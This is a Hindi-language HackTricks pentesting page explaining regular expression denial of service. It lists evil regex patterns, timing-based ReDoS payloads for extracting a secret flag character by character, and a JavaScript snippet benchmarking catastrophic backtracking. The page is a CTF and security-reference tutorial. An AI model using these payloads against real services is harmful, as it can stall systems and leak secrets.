नियमित अभिव्यक्ति सेवा से इनकार - ReDoS
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
नियमित अभिव्यक्ति सेवा से इनकार (ReDoS)
एक नियमित अभिव्यक्ति सेवा से इनकार (ReDoS) तब होता है जब कोई नियमित अभिव्यक्तियों (पाठ में पैटर्न खोजने और मेल खाने का एक तरीका) के काम करने के तरीके में कमजोरियों का लाभ उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियाँ उपयोग की जाती हैं, तो वे बहुत धीमी हो सकती हैं, विशेष रूप से यदि जिस पाठ के साथ वे काम कर रही हैं वह बड़ा हो जाता है। यह धीमापन इतना बुरा हो सकता है कि यह पाठ के आकार में छोटे-छोटे बढ़ोतरी के साथ तेजी से बढ़ता है। हमलावर इस समस्या का उपयोग करके एक कार्यक्रम बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग करता है, लंबे समय तक सही तरीके से काम करना बंद कर देता है।
समस्याग्रस्त Regex नासमझ एल्गोरिदम
विवरण देखें https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
दुष्ट Regexes
एक दुष्ट नियमित अभिव्यक्ति पैटर्न वह है जो निर्मित इनपुट पर अटक सकता है जिससे DoS होता है। दुष्ट regex पैटर्न आमतौर पर समूह के साथ पुनरावृत्ति और पुनरावृत्ति या वैकल्पिकता के साथ ओवरलैपिंग होते हैं। दुष्ट पैटर्न के कुछ उदाहरण हैं:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} जहाँ x > 10
ये सभी इनपुट aaaaaaaaaaaaaaaaaaaaaaaa!
के प्रति संवेदनशील हैं।
ReDoS पेलोड्स
ReDoS के माध्यम से स्ट्रिंग एक्सफिल्ट्रेशन
एक CTF (या बग बाउंटी) में शायद आप नियमित अभिव्यक्ति को नियंत्रित करते हैं जिससे संवेदनशील जानकारी (झंडा) मेल खाती है। फिर, यदि एक नियमित अभिव्यक्ति मेल खाती है और यदि यह मेल नहीं खाती है तो नहीं तो पृष्ठ को फ्रीज (टाइमआउट या लंबे प्रोसेसिंग समय) करना उपयोगी हो सकता है। इस तरह आप एक-एक करके स्ट्रिंग निकालने में सक्षम होंगे:
- इस पोस्ट में आप इस ReDoS नियम को पा सकते हैं:
^(?=<flag>)((.*)*)*salt$
- उदाहरण:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- इस लेख में आप इसे पा सकते हैं:
<flag>(((((((.*)*)*)*)*)*)*)!
- इस लेख में उन्होंने इसका उपयोग किया:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS नियंत्रित इनपुट और Regex
निम्नलिखित ReDoS उदाहरण हैं जहाँ आप इनपुट और regex दोनों को नियंत्रित करते हैं:
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
उपकरण
संदर्भ
- https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।